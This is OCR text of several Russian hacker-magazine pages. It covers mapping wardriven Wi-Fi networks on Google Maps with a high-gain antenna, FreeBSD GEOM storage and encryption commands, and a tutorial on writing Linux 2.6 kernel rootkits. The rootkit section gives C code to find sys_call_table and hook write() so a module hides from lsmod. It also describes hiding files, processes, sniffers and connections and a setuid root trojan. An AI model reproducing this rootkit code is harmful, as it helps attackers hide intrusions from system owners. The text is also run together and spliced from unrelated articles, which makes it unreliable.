www.toxahost.ru/wifidbрасположен мой проект по сборуинформации о беспроводных сетяхСанкт-Петербурга. Для визуализацииданных в нем как раз применяетсяописанный здесь метод./ 113


unixoidПойманные точки на экране ноутбукадобавляя, помимо информации о сети, такиеполезные фишки, как трек-линия (путь, напротяжении которого сеть была доступна)и вычисленный на ее основе примерныйрайон охвата сети.Картинка с картой — это здорово, но мыпойдем еще дальше и вместо статичнойкартинки с помощью HTML и JavaScriptсделаем динамичную карту, на которой будутизображены точки доступа, обозначенныеразным цветом в зависимости от уровня защищенности(без шифрования вообще, сослабой защитой в виде WEP и с хорошей защитой).При нажатии на каждую такую точкуна карте, скрипт будет выдавать подробнуюинформацию о сети и рисовать район охватасети с трек-линией. Карты же возьмем изпубличного источника — Google Maps.Крутая антеннаВ своих опытах мы использовали антенну D-Link ANK24-2100. Это параболическая направленная антенна свертикальной поляризацией и довольно нехилым коэффициентом усиления 21 dBi. Для сравнения, коэффициентобычной PCMCIA-сетевушки — 2-3 dBi. Не секрет, что сила сигнала является одним из самых важных параметровпри проникновении в беспроводные сети. Типична ситуация, когда вардрайвер может перехватывать пакеты, ноему не хватает мощностей, чтобы посылать их. С крутой антенной мы не испытывали проблем при подключениив радиусе нескольких сотен метров с учетом квартирных перекрытий (ведь точка доступа находится в здании,а вардрайверы — на улице). Такие антенны комплектуются большим SMA-разъемом, так что для подключенияих к PCMCIA-карте требуется перепайка последней под нужный разъем. Так что настоящий вардрайвер долженбыть на «ты» с паяльником и схемотехникой :). Понятно, что эта антенна предназначена для крепления на крышездания, а не автомобиля вардрайвера, но кого это волнует :)?А это легально?Одно дело, когда ты прокатился с ноутбуком и снифером по городу и собрал дамп пакетов «для внутреннегопользования», другое дело, когда ты выложил результаты своего анализа в публичный доступ. Легальностьраспространения такой информации зависит от законов, регулирующих вопросы privacy в каждой конкретнойстране. Так, в «нормальных» странах публикация информации о географических координатах точки доступа,ее идентификаторе (ESSID) и наличии шифрования не является чем‐то противозаконным, этим и объясняетсясуществование крупных сервисов вроде wigle.net. Это вполне логично, ведь вся упомянутая информация содержитсяв широковещательных информационных beacon-фреймах, и с точки зрения архитектуры 802.11 получениетаких фреймов адаптером, находящимся в зоне покрытия сети, вполне легально. Перехват же пакетов с данными,разумеется, нелегален, поэтому честные вардрайверы отключают в своем снифере сбор всех пакетов, кроме«беконов» (смотри опцию logtypes в kismet.conf).В России же, как обычно, законы ничего не значат :), то есть, исходя из юридических документов, сделать какой‐либооднозначный вывод о легальности или нелегальности раскрытия информации о сети нельзя. Впрочем, это никогои не волнует. Если начальник отдела безопасности какой‐нибудь крупной фирмы, совершенно неразбирающийсяв вопросах инфобеза, но зато являющийся в прошлом, скажем, офицером спецслужб (типичная картина для многихкрупных компаний), увидит свою сеть на карте, и его от этого хватит инфаркт, то он не станет выяснять, что тамлегально, а что нет. Делай выводы./ 114xàêåð 12 /96/ 06


unixoidИнформация о сети, трек-путь и примерный район охвата Питер, опутанный незащищенных беспроводными сетямиМне сверху видно все, ты так и знай! Видно, по какому маршруту ехал вардрайверПоможет нам в этом gmap — патч к gpsmap,добавляющий вышеописанную функциональность.Подружить Kismet и GoogleMaps очень просто. Для этого нам понадобятсяисходники Kismet (а именно— gpsmap) и архив с www.parknation.com/gmap, содержащий сам патч и html-интерфейс.Далее следует пропатчить и собратьgpsmap, как показано ниже:$ ftp -p www.parknation.com/gmap/files/gpsmap-gmap-0.1.tgz$ ftp -p kismetwireless.net/code/kismet-2006‐04‐R1.tar.gz$ tar xzf gpsmap-gmap-0.1.tar.gz$ tar xzf kismet-2006‐04‐R1.tar.gz$ cd kismet-2006‐04‐R1$ patch -p0


unixoidXЕвгений «j1m» Зобнин/ j1m@list.ru /02DX01BYXYZ01AY01AYXYZ01BYYТехнология GEOM изнутри и снаружиТехнология GEOM стала одним из главных нововведений FreeBSD за последние годы. Благодаря модульной архитектуреи грамотному дизайну механизм GEOM позволил в полной мере контролировать процесс обмена даннымимежду жестким диском и файловой системой. Пользователи и администраторы получили в распоряжениемощный инструмент, открывающий широчайшие возможности по организации хранилищ данных любойсложности.Философия GEOMGEOM (модульный механизмс преобразования запросов дисковоговвода-вывода) представляетсобой прослойку междуфайловой системой и драйвером накопителя(ATA, SATA, SCSI). В основу механизмаположена идея обособленных модулей(в терминологии GEOM — классов), каждыйиз которых может выполнять только один видпреобразования. Запрос дискового вводавывода,проходя через модули, подвергаетсяразличной обработке и в конце путипопадает в драйвер устройства. Комбинируямодули, пользователь получает возможностьработать с различными дисковыми разде-/ 116лами, создавать логические тома и программныеRAID-массивы.Немаловажная особенность GEOM — этопростота разработки классов. Для созданиянового вида преобразования достаточнооформить алгоритм в виде класса,добавить необходимые структуры данныхи скомпилировать код как модуль ядра.После этого модуль можно подключитьк ядру и добавить экземпляр класса к существующейтопологии. Надо сказать, чтопростота дизайна и дружелюбность к разработчикамсыграли свою роль. В FreeBSDверсии 6.1 доступно более 20 классов,и с каждым релизом их будет становитьсявсе больше.Классы GEOM, доступные в FreeBSD 6.1Работа с разделами:mbr — делит диск на слайсы;gpt — делит диск на слайсы форматаGUID (формат разделов IA-64);apple — делит диск на слайсы форматаApple;sunlabel — делит диск на слайсы форматаSun OpenBoot PROM (используетсяв серверах Sun);pc98 — делит диск на слайсы форматаPC98;bsd — делит слайс на разделы BSD.RAID и логические тома:concat — объединяет несколько дисковxàêåð 12 /96/ 06


unixoidЗашифровать раздел с помощью geom_bde действительно просто iostat — на помойку, да здравствует gstat!в один логический дисковый раздел;stripe — создает массивы RAID-0 (чередование);mirror — создает массивы RAID-1 (зеркалирование);raid3 — создает массивы RAID-3 (чередованиес контролем четности);ccd — создает массивы RAID-0 и RAID-1;vinum — менеджер логических томовvinum, как класс GEOM.Безопасность:gbde — осуществляет шифрование науровне диска;geli — другой вариант шифрования;shsec — реализует «shared secretdevices», когда для того чтобы получитьдоступ к одному накопителю,необходимо обеспечить наличие другогонакопителя, например USB-флешки.Системные:dev — создает файлы устройств в каталоге/dev.vfs — связывает GEOM и подсистему VFS.disk — работает с драйвером диска.Другое:label — позволяет управлять дисковымиразделами с помощью специальныхметок;fox — специальный класс, автоматическиперенаправляющий цепь запросовс одного накопителя на другой;gate — позволяет создать накопителькак пользовательский процесс;nop — предназначен для тестированиядругих классов и сбора статистики;uzip — позволяет читать сжатые образыдисков;zero — класс реализует виртуальныйнакопитель, содержащий нули (по аналогиис /dev/zero).Все классы, за исключением системных,которые должны присутствовать в любойтопологии GEOM, могут быть подключены какмодули ядра. Классы, работающие с разделами,по умолчанию включены в ядро, причембез крови их оттуда не извлечешь — черезконфигурационный файл ядра это осуществитьне удастся. Так сделано для того, чтобыядро путем перебора классов (существуютправила, благодаря которым GEOM способенпроизводить автоконфигурирование),смогло создать стандартную топологию и невыпасть во время инициализации вkernel panic.Классы ccd и vinum достались FreeBSD в наследствоот четвертой ветки, в которой онибыли реализованы как отдельные механизмыядра и являлись чуть ли не единственнымсредством создания RAID и логическихтомов. По сути, это реликты, пережиткипрошлого, импортированные в GEOM попросьбам ветеранов FreeBSD и от нежеланиявыбрасывать отлаженный код. Даже vinum,при всей своей мощи и универсальности,в большинстве случаев может быть замененкомбинацией других классов, гораздо болееудобных в настройке.Долой невнятные названия дисков!Наверняка тебе приходила в голову мысль,что было бы гораздо удобнее монтироватьфайловые системы, указывая в аргументахкоманды mount и в файле /etc/fstab легкочитаемые и прозрачные имена дисков, вроде/dev/home или /dev/usr. Если так, хочу тебяобрадовать, класс label позволяет сделатьименно это. Принцип его работы основан напонятии метки тома, которая является непременныматрибутом большинства файловыхсистем.Приведу пример. Имеется раздел /dev/ad0s1e,на котором создана файловая система ufs2,содержащая каталог /home. Попробуемсмонтировать ее: mount /dev/ad0s1e/home.Одна команда и две проблемы: во‐первых,имя файла никак не говорит о том, что находитсяна этом разделе, а во‐вторых, в случаеперемещения диска имя файла изменится,и придется править /etc/fstab. А теперь сделаемто же самое с использование класса label:# kldload geom_label# umount /home# tunefs -L home /dev/ad0s1e# mount /dev/ufs/home /homeСтало намного приятнее для глаз. Даже еслипереключить диск на второй IDE‐канал, меткабудет распознана и файл /dev/ufs/homeостанется ассоциированным с прежним разделом.Также класс label умеет распознаватьметки файловых систем FAT (/dev/msdosfs/),ISO9660 (/dev/iso9660/), EXT2 (/dev/ext2fs/),ReiserFS (/dev/reiserfs/) и NTFS (/dev/ntfs/).Кроме того, допустимо использование меток,не связанных с файловыми системами (команда«glabel create имя-метки устройство»).Gzip как класс GEOMНа сегодняшний день не существует класса,выполняющего прозрачное сжатие и распаковкуданных в реальном времени. Но доступенкласс, умеющий читать сжатые образыдисков, который наверняка пригодится владельцамflash-дисков и создателям LiveCD.Ниже приведен пример того, как можносоздать и подключить такой образ.Пример использования класса geom_uzipСоздаем и монтируем образ диска:# dd if=/dev/zero of=disk.ufs bs=1kcount=100k# mdconfig -a -t vnode -f disk.ufs -u 0# bsdlabel -w md0 auto# newfs -m 0 -i 1024 md0c# mount /dev/md0c /mntПара слов об авторе GEOMМеханизм GEOM был спроектирован и реализованлегендарным FreeBSD-хакеромПолом-Хеннингом Кампом (Poul-HenningKamp) при спонсорской поддержке NAILabs. Первая alpha-версия кода быласоздана для FreeBSD 4.9, а после выходарелиза 5.0 GEOM стал официальнойчастью ядра. На развитие и реализациюидеи GEOM автору потребовалось околовосьми лет. Причины такой длительнойразработки он объясняет словами: «Яхотел сделать это правильно».Пол-Хеннинг также известен как автор кодаVFS namecache, jail, devfs, gbde и драйверовдля некоторых ATA-, SCSI- и USB-устройств.Ему принадлежит замечательноевысказывание, которое он привел в письме,анонсирующем GEOM: «Лучший способуничтожить FreeBSD — это дать нашейинфраструктуре прогнить».xàêåð 12 /96/ 06/117


unixoidgeom_mirror превращает процесс создания зеркал RAID-1 втривиальную задачуgeom_label делает работу с дисками приятной и удобнойЗаполняем виртуальный диск содержимым:# cp -R ~/documents /mntОтключаем образ:# umount /mnt# mdconfig -d -u 0Пример использования класса geom_eliИнициализация:# kldload# dd if=/dev/random of=~/ad1.key bs=64 count=1# geli init -s 4096 ‐K ~/ad1.key -a Blowfish/dev/ad1• people.freebsd.org/~phk/• phk.freebsd.dk/pubs/bsdcan-04.slides.gbde.pdf• phk.freebsd.dk/pubs/bsdcan-04.slides.geom.pdf• phk.freebsd.dk/pubs/bsdcan-04.slides.geomtut.pdfМногими классамиGEOM можноуправлять с помощьюстандартнойутилиты /sbin/geom.К примеру, вместокоманды geom mirrorload можно набиратьgmirror load.Для наблюдения застатистикой вводавыводавоспользуйсяутилитой /usr/sbin/gstat.Сжимаем содержимое виртуального диска и вновьподключаем его:# kldload geom_uzip# mkuzip disk.ufs# mdconfig -a -t vnode -f disk.ufs.uzip -u 0# mount -r /dev/md0.uzip /mntРуки прочь от частной собственностиВ ядре FreeBSD версии 6.1 можно найти 2 класса,осуществляющих низкоуровневое шифрование дисков.Первый называется gbde (Geom Based Disk Encryption).Он способен шифровать диски или разделы алгоритмомAES с симметричным ключом длиной от 128 бит. Второй,с более запоминающимся и легко произносимым названиемgeli, более совершенен и универсален. Класс geliможет использовать специализированное оборудованиедля шифрования (в gbde поддержка такого железа неполная), позволяет выбирать алгоритм шифрования (AES,Blowfish или 3DES), использовать 2 независимых ключаи шифровать корневой раздел диска (во время загрузкипользователю будет предложено ввести пароль).Пример использования класса geom_bdeИнициализация:# kldload geom_bde# gbde init ad1Создаем файловую систему:# gbde attach ad1# dd if=/dev/random of=/dev/ad1.bde bs=64k# newfs /dev/ad1.bde# gbde detach ad1Подключаем шифрованный диск:# gbde attach ad1# mount /dev/ad1.bde/secretСоздаем файловую систему:# geli attach -k ~/ad1.key ad1# dd if=/dev/random of=/dev/ad1.eli bs=64k# newfs /dev/ad1.eli# geli detach ad1.eliПодключаем шифрованный диск:# geli attach -k ~/ad1.key /dev/ad1# mount /dev/ad1.eli /mnt/secretИнтересной особенностью класса geli является такжеи то, что он способен генерировать специальныеодноразовые ключи для шифрования разделов swap иливременных файловых систем. Никаких источников длягенерации ключа, будь то пароль или файл с беспорядочнымнабором байтов, при этом не требуется.# dd if=/dev/random of=/dev/ad0s1b bs=64k# geli onetime -d -a 3des ad0s1b# swapon /dev/ad0s1b.eliДисковая магияК сожалению, в рамках одной статьи невозможно описатьвсе возможности GEOM по организации RAID-массивов.Поэтому мы остановимся только на RAID-1, как наиболеепопулярном и дешевом варианте RAID. За созданиетомов RAID-1 (зеркал) отвечает класс mirror, управляемыйутилитой /sbin/gmirror. Средствами GEOM создать зеркалоочень просто, поэтому, не вдаваясь в подробности, рассмотримпример, который будет актуален в 90% случаев:Пример использования класса geom_mirrorСоздаем зеркало для текущего диска:# gmirror load# sysctl kern.geom.debugflags=16# gmirror label -b round-robin gm0 /dev/ad0Класс geli, в отличие от gbde, позволяет создать ключ изнескольких компонентов. В примере, приведенном ниже,мы используем пароль в комбинации с набором из случайныхбайтов в качестве основы для ключа Blowfish. Принеобходимости файл можно переместить на USB-флешкуи спрятать ее в цветочном горшке.Перезапускаем mirror, чтобы изменения вступилив силу:# gmirror unload# gmirror loadПодключаем второй диск:# gmirror insert gm0 /dev/ad2/ 118xàêåð 12 /96/ 06


unixoidПосле подключения к зеркалу второгодиска начнется синхронизация. Для дискаемкостью 120 Гб эта операция может длитьсядо 5 часов. Строка round-robin в третьейкоманде означает алгоритм балансировки.Доступно 4 алгоритма:1. Load — чтение с менее загруженного диска;2. prefer — чтение с диска, имеющего болеевысокий приоритет (чем раньше диск былдобавлен в массив, тем выше его приоритет);3 round-robin — поочередное чтение с каждогодиска (наиболее производительныйалгоритм);4. split — распределение запросов на чтениебольших объемов данных (4 Кб и более) подискам (дефолтовый алгоритм).Чтобы зеркалирование включалось во времяинициализации системы, необходимо датьуказание загрузчику подключать модульgeom_mirror (echo geom_mirror_load="YES">> /boot/loader.conf) и отредактировать файл/etc/fstab таким образом, чтобы все вхождения/dev/ad0 были заменены /dev/mirror/gm0(/dev/ad0s1a — /dev/mirror/gm0s1a и т. д.).В любой момент к массиву может бытьдобавлен третий диск. Для удаления дискаиз массива используется команда gmirrorremove gm0 ad2.Mirror очень устойчив к сбоям. Если один издисков выйдет из строя, то после перезагрузкисистема продолжит нормальную работу.После того как новый диск будет доставлениз магазина и подключен, mirror автоматическиего найдет и произведет синхронизацию.А в случае аварийного отключения питаниясинхронизация продолжится с прерванногоместа. zЗачем шифровать разделswap?Некоторых читателей может озадачитьфраза «шифрование swap-раздела».«Что там может быть интересного? Простокуски программ, случайные страницыпамяти», — скажут они. И будут не правы.Действительно, раздел подкачки обычнозаполнен случайными фрагментамикода, не уместившегося в оперативнойпамяти. Но стоит включить воображение,как становится ясно, что в swap такжемогут попасть фрагменты данных, содержащиеконфиденциальную информацию,пароли, обрывки личного дневникаи даже семейный секрет приготовлениятыквенного пирога!Анатомия GEOMМеханизм GEOM объектно-ориентированный.Согласно словарю ООП, модуль называется«классом». В работающей системе длякаждого класса может быть создан один илинесколько «экземпляров», в обязанностикоторых как раз и входит выполнение одногоиз видов преобразования. Для каждогожесткого диска будет создано по одномуэкземпляру класса mbr, делящего диск наслайсы (разделы в терминологии MS), длякаждого слайса с меткой BSD — по экземплярукласса bsd, разбивающего слайс наразделы и т. д. К каждому экземпляру классаможет быть привязан один или более «поставщик»и «потребитель». Поставщик — это«главная дверь», через которую экземплярпредставляет свои услуги, он напрямуюсвязан с элементом каталога /dev. В случаес ATA-диском, разбитым на 2 слайса, у экземпляракласса MBR будет 2 поставщика(представленные файлами/dev/ad0s1и/dev/ad0s2). Экземпляр другого класса подключаетсяк поставщику через потребитель,образуя цепь, по которой будут проходитьзапросы ввода-вывода.Работу механизма GEOM гораздо прощепонять на примере, чем изучая голую теориюи представляя себе якорные цепи сухогрузов.Стандартная топология GEOMНа рисунке изображена стандартная топологияGEOM: ATA-диск, разбитый на 2 слайса;один из слайсов разбит на 2 раздела.В начале цепи находится экземпляр классаdisk, который напрямую взаимодействуетс драйвером ATA-контроллера. К его поставщикуподключены экземпляры классовmbr и dev. Первый делит диск на 2 слайса,сверяясь с таблицей разделов, расположеннойв секторе MBR. Второй помещаетфайл устройства (ad0) в каталог /dev.Экземпляр класса mbr имеет 2 поставщикапо количеству слайсов. К первому подключеныэкземпляры классов bsd и dev. Второйслайс не является BSD‐слайсом, поэтомук нему подключен только dev. Экземпляркласса bsd делит слайс ad0s1 на 2 разделаи поэтому также имеет 2 поставщика. К каждомуиз них подключены экземпляры классаdev, которые создают специальные файлы/dev/ad0s1 и/ dev/ad0s2 и замыкают цепь.Рассмотрим, как происходит чтениеблоков данных, запрашиваемых файловойсистемой. Ситуация такая: на разделе /dev/ad0s1a создана ФС, она запрашивает пятыйблок раздела. Что же при этом происходит?Экземпляр класса bsd знает только ограниченныйобъем информации — то, что некоеадресное пространство (он и понятия неимеет, что это один из слайсов диска), представленноепоставщиком экземпляра класса,расположенного на одно звено ниже,разделено на 2 раздела. Эту информациюон берет из заголовка, находящегося в началеадресного пространства. Обязанностьэкземпляра класса bsd — правильно вычислитьсмещение, чтобы попасть именно в тотблок, который запрашивает ФС. Чтобы этосделать, необходимо сложить смещениеот начала раздела и номер блока. Раздел,с которого ФС запрашивает блок, являетсяпервым, поэтому в результате получаетсяопять же пятый блок. Экземпляр класса bsdотправляет запрос на чтение пятого блоканиже. Экземпляр mbr, который точно так жевидит ниже только адресное пространство,получает запрос, подвергает его обработкеи отправляет запрос еще ниже — поставщикуdisk, который направляет запросдрайверу ATA-контроллера. В результатефайловая система получает именнотот который который, какой и заказывала.На самом деле, конечно же, все сложнее(при вычислении адреса класс долженучитывать заголовки, пересчитывать размерыблоков и тому подобное), но не будемвдаваться в подробности.Отдельные классы механизма GEOM оченьограничены в «знаниях» о друг друге.Информация, представляемая поставщиками,сводится лишь к данным об имени, размересектора и общего размера адресногопространства. Отсутствие перекрестныхссылок между классами и общая немногословностькаждого из них делает GEOMочень гибким, не привязанным к конкретнойтопологии, механизмом. Чтобы получитьвозможность работы с разделами Apple,достаточно заменить экземпляр классаmbr на экземпляр класса apple. А чтобызадействовать шифрование, достаточноподключить экземпляр шифрующего классак любому поставщику. GEOM безразлично,каким образом будут распределеныэкземпляры классов, но некоторые классыоткажутся инициализироваться, если небудут соблюдены определенные условия.Например, класс mbr требует наличия в адресномпространстве валидной метки MBR,и в случае ее отсутствия экземпляр не будетвключен в цепь.xàêåð 12 /96/ 06/119


unixoidИван Скляров/ Sklyarov@real.xakep.ru /ПишемруткитновогопоколенияСкрываем модули, файлы,процессы и сетевые соединения в Linux 2.6.xРуткиты подразделяют на ядерные (уровня ядра) и неядерные (пространства пользователя). Неядерные руткитысостоят из множества троянских версий исполняемых системных файлов: ls, ps, find, ifconfig, netstat,syslogd и т.д. После подмены системных программ и демонов троянскими версиями, они не будут отображатьхакерские процессы, файлы, установленные соединения и т.д. Ядерные руткиты представляют собой один илинесколько модулей ядра (LKM), которые устанавливаются в него и выполняют все действия по сокрытию следовхакера. Сегодня мы научимся писать ядерные руткиты, причем под самые последние версии ядра Linux 2.6.x.Что должен делать руткитиже перечислен стандартныйН набор возможностей, которыедолжен поддерживать любойполноценный ядерный руткит:• Hide Itself (скрытие самого себя). Модуль непоявляется в списке загруженных модулей,выдаваемых командой lsmod. Если хакер нескроет его, то администратор рано или позднообнаружит посторонний модуль в системеи удалит его командой rmmod.• File Hider (скрытие файлов). Хакер может установитькакие-нибудь программы (снифер,кейлоггер, бэкдор и пр.), которые с помощьюэтой возможности руткита не будут обнаруживатьсяв файловой системе.• Directory Hider (скрытие каталогов). Хакерможет хранить нужные ему файлы в отдельном каталоге. С помощью этой возможности/ 120скрывается сразу весь каталог вместе сфайлами.• Process Hider (скрытие процессов).Подобно скрытию файлов и каталогов, руткитне дает отображать верную информациюо запущенных процессах, выдаваемую командойps.• Sniffer Hider (скрытие работающего снифера).Руткит подавляет флаг PROMISC (неразборчивыйрежим), выводимый утилитойifconfig, позволяя тем самым скрыть в системеработу снифера.• Hiding from netstat (скрытие информацииот утилиты netstat). Руткит позволяет скрытьинформацию об открытых портах и установленныхсоединениях, выдаваемую утилитойnetstat.• Setuid Trojan (троянская версия вызоваsetuid). Автоматически предоставляет пользователюс UID= доступ справами root.Для удобства и большей ясности мы рассмотримреализацию каждой из перечисленныхвозможностей отдельно, в виде независимыхмодулей. Однако в действительности в руткитахвсе возможности обычно компануютсяв один общий модуль, и после его загрузки вядро хакер может вызывать нужную возможностьиз командной строки. Для удобствапередачи команд руткиту в его состав обычновходит так называемый управляющий файл,которому передаются команды в команднойстроке. Этот управляющий файл совсем необязательно является реальным файлом,хранящимся на жестком диске, — он можетнаходиться в памяти по сути являясь псевдофайлом.В самом рутките (обычно в перехваченномвызове execve()) осуществляетсяxàêåð 12 /96/ 06


unixoidСайт автора руткита IntoXonia (на русском языке)проверка параметра filename, и если он равен названиюпсевдофайла, то исполняется код, находящийся в модулеядра.Я изучил исходные коды многих известных ядерных руткитов,таких как adore-ng, knark, IntoXonia, lkm trojan (ищиих все на DVD к журналу). Многие идеи и участки кода язаимствовал именно из этих руткитов.Если ты не знаком с программированием модулей ядраLinux, то настоятельно советую почитать соответствующуюлитературу, например «The Linux Kernel ModuleProgramming Guide» (www.tldp.org). По адресу www.opennet.ru/docs/RUS/lkmpg26 расположен перевод этогоруководства на русский язык.Самый большой недостаток всех ядерных руткитов заключаетсяв том, что программисты ядер не обеспечивают обратнуюсовместимость, в результате чего модульный код,написанный для одной версии ядра, может не работать вдругой версии. Например, код для ядра 2.6.0 может уже неработать в версии 2.6.12 и тем более — в версии 2.4.2. Поэтомудля гарантии работы руткитов их нужно тестироватьна различных версиях ядер. Я тестировал все примерытолько на ядре 2.6.12 в Mandriva 2006 PowerPack.Таблица системных вызововНачиная с ядер версии 2.5.41, официальные разработчики«сделали финт ушами», установив запрет на экспорттаблицы системных вызовов sys_call_table, в результатечего простая подмена системных вызовов, котораяиспользовалась в руткитах под более ранние ядра, в этихядрах не работает. Но хакерами были найдены способыполучения адреса sys_call_table.Первый способ. Он описан в электронном журнале Phrack#58 в статье «Linux on-the-fly kernel patching without LKM».Он зависит от текущей платформы и алгоритмическисложен.Второй способ. Адрес таблицы можно найти простымпоиском в файле /boot/System.map, например:# grep sys_call_table /boot/System.mapc03ce760 D sys_call_tableТеперь в модуле можно сделать присваивания следующеговида:unsigned long *sys_call_table;На сайте www.ustsecurity.info расположена статья«Защита от исполнения в стеке (ОС Линукс)» российскогохакера dev0id*(long *)&sys_call_table=0xc03ce760;И далее осуществлять подмену обычным образом, как вядрах версии 2.4.x. В своем модуле ты можешь встроитьфункцию, которая открывала бы файл /boot/System.map исамостоятельно находила в нем адрес sys_call_table.Третий способ. Его придумал и описал (с исходным кодом)в статье «Защита от исполнения в стеке (ОС Линукс)» российскийхакер dev0id из UkR Security Team. Ищи эту статьюна www.ustsecurity.info.Далее во всех модулях, где требуется подмена вызовов, мызадействуем способ dev0id. Ниже показана функция из егостатьи, которая самостоятельно находит адрес таблицысистемных вызовов. Ее мы и будем использовать.void find_sys_call_table(void){unsigned long arr[4], *ptr;int i;/* получаем указатель на конец секции кода */ptr = (unsigned long *)((init_mm.end_code + 4)& 0xfffffffc);/* начинаем поиск до конца секции данных */while(ptr < init_mm.end_data) {/* если нашли адрес sys_close */if (*ptr == (unsigned long *)sys_close) {for(i = 0; i < 4; i++) {arr[i] = *(ptr + i);arr[i] = (arr[i] >> 16) & 0x0000ffff;}/* действительно ли адрес в таблице */if(arr[0] != arr[2] || arr[1] != arr[3]){/* находим адрес таблицы системныхвызовов */sys_call_table = (ptr — _NR_close);break;}}ptr++;}}Чтобы данная функция заработала, необходимо такжеопределить глобальную переменную:Домашняя страницаруткита IntoXonia: http://satanic.easycoding.org.Руткиты adore-ng, knarkи lkm trojan в настоящеевремя в интернете можнонайти только на http://packetstormsecurity.org.На DVD лежат всерассмотренные встатье модули ядраLinux, а также ядерныеруткиты adore-ng, knark,IntoXonia и lkm trojan.В моей книге «Программированиебоевогософта под Linux» тысможешь найти болееподробную информациюо программированиируткитов подlinux-ядра версии 2.6.x имного других интересныхвещей.xàêåð 12 /96/ 06/121


unixoid«Самый большой недостатоквсех ядерных руткитов заключаетсяв том, что программистыядер не обеспечиваютобратную совместимость, в результатечего модульный код,написанный для одной версииядра, может не работать в другойверсии»unsigned long *sys_call_table;Компиляция модулей ядер 2.6.xКомпиляция модулей ядер 2.6.x существенноотличается от компиляции модулей вядрах 2.4.x.Сначала необходимо создатьMakefile со следующим содержимым (вкачестве примера возьмем модуль с названиемmod.c):obj-m += mod.oЗатем нужно выполнить команду для сборкимодуля следующего вида:# make –C /usr/src/linux-`uname –r`SUBDIRS=$PWD modulesВ том случае если у тебя в каталоге /usr/srcприсутствует символическая ссылка linux накаталог с исходными текстами ядра, командасборки будет выглядеть так:# make –C /usr/src/linux SUBDIRS=$PWDmodulesКак ты понимаешь, исходные тексты ядрадолжны быть установлены в твоей системев каталог /usr/src. Если исходные коды ядрау тебя отсутствуют, то их нужно установить,иначе сборка модуля закончится с ошибкой.Устанавливать пакеты удобно через KDE илиGnome (ищи в меню функцию вроде «Установкапрограмм»). Нужный пакет с исходнымикодами ядра обычно имеет название видаkernel-source-номер_версии.В результате выполнения команды в текущем/ 122каталоге образуется объектный файл модуляmod.ko. Обрати внимание: в ядрах 2.6 объектныефайлы модулей имеют расширение.ko, а не .o.Теперь модуль можно загрузить вядро командой:# insmod mod.koПросмотреть список установленных модулейможно командой lsmod, а удалить модуль— командой rmmod (здесь имя модуля указываетсябез расширения):# rmmod modДалее все модули компилировать следуетименно так, разумеется, подставляя каждыйраз новые названия модулей в Makefile.Скрытие модуляС помощью утилиты strace мы можем узнать,какие вызовы задействует команда lsmod всвоей работе:# strace lsmodopen("/proc/modules", O_RDONLY) = 6read(6, "hide_module 2440 0 – Live0xd0db"..., 1024) = 1024write(1, "hide_module 2440 0"..., 33) = 33Как видим, вызовом read читается строка изфайла /proc/modules, а затем при помощивызова write она выводится на экран. Поэтомув модуле мы просто подменяем вызов write(можно подменить read) и выполняем проверкуна выполнение команды lsmod. Затем ищемв буфере имя нашего модуля и в случае егообнаружения просто возвращаем управление,в результате чего информация о модулене выводится. Ниже показан отрывок из модуля,полный его исходный код (hide_module.c)ищи на DVD к журналу:int new_write(int fd, const char*buf, size_t count){char *temp;int ret;/* если выполнена команда lsmod */if (!strcmp(current->comm,"lsmod")) {/* выделяем память в пространствеядра и копируем в нее содержимое буфераbuf */temp = (char *)kmalloc(count + 1,GFP_KERNEL);copy_from_user(temp, buf, count);temp[count + 1] = '\0';/* если содержится имя нашего модуля*/if (strstr(temp, MODULE_NAME) !=NULL) {/* освобождаем буфер в куче и возвращаемрезультат */kfree(temp);return count;}}/* выполняем оригинальный вызов */ret = orig_write(fd, buf, count);return ret;}Однако этот способ не позволяет скрытьмодуль от простого просмотра содержимогофайла /proc/modules, в котором находятсяимена всех загруженных модулей. Конечно, мыможем по аналогии сделать дополнительныепроверки и удалять информацию о нашеммодуле при выводе информации. Но здесьсложность заключается в том, что просмотрвыполняется множеством способов, напримеркомандой cat /proc/modules или dd if=/proc/modules bs=1, а также в Midnight Commanderпри помощи клавиши или .Скрытие файловСодержимое директории считываетсясистемным вызовом getdents64 (или простоgetdents, в зависимости от версии ядра). Этоможно узнать при помощи утилиты strace.Этот вызов использует функция readdir(),xàêåð 12 /96/ 06


unixoidЗагруженный в ядро модульhide_module.ko не отображаетсяв списке модулейкоторая читает содержимое директорий. Результатgetdents64 сохраняется в виде спискаструктур struct dirent, а сам вызов возвращаетдлину всех записей в каталоге:struct dirent64 {int d_ino1, d_ino2;int d_off1, d_off2;unsigned short d_reclen;unsigned char d_type;char d_name[0];} *dirp2, *dirp3;Нам интересны 2 поля этой структуры:d_reclen (размер записи) и d_name (имяфайла). Таким образом, для того чтобыспрятать запись о файле, нам достаточноподменить вызов getdents64, затем отыскатьв списке полученных структур соответствующуюзапись и удалить ее. Исходный кодhide_file.c с комментариями ищи на DVD.После сборки модуля и его загрузки в ядро тыувидишь, что указанный файл не отображаетсяни командой ls, ни файловым менеджером.При этом, зная имя скрытого файла, тылегко можешь осуществить над ним любыеоперации.Скрытие каталогов и процессовДля скрытия каталогов и процессов можнозадействовать один и тот же метод. Я прочело нем в статье «Sub proc_root Quando Sumus(Advances in Kernel Hacking)» из Phrack#58 — 06. В этом методе не требуется перехватыватьсистемные вызовы. Суть его заключаетсяв том, что Linux-устройства и каталогимогут рассматриваться как файлы. Каждыйфайл (каталог, устройство) представлен вядре структурой file. Она содержит поле f_op,которое, в свою очередь, указывает на структуруfile_operations. Последняя используетсядля хранения указателей на функции, производящиеразличные стандартные операциис файлом, такие как read(), write(), readdir(),ioctl() и т.д. Определения обеих структур — fileи file_operations — ты можешь увидеть в файлеlinux/fs.h. Если в структуре file_operationsподменить указатели на функции или подставитьвместо них NULL (это будет означать, чтоданная функция не реализована), то можноизменить поведение конкретного файла(каталога, устройства). Так как нам требуетсяскрывать каталоги, то удобнее всего подменитьуказатель на функцию readdir(), которыйпредставлен в структуре file_operationsследующим образом:int (*readdir) (struct file *, void *,filldir_t);Функция readdir() реализует системныевызовы readdir(2) и getdents(2) для каталогови игнорируется для обычных файлов.Мы можем подставить вместо указателяNULL, но тогда вообще не будут отображатьсяникакие каталоги. В рутките же требуетсяпрятать только отдельные каталоги, поэтомумы будем подменять этот указатель указателемна свою функцию, которая будетотслеживать заданный каталог.Вспомним, что файловая система /procсодержит по одному каталогу для каждого выполняющегосяпроцесса. Именем каталогаявляется идентификатор процесса. Каталогипоявляются и исчезают по мере запуска изавершения процессов. В каждом каталогеимеются файлы, содержащие различную информациюо процессе. Таким образом, еслискрыть каталог в файловой системе /proc сименем нужного нам процесса, то он не будетотображаться командами 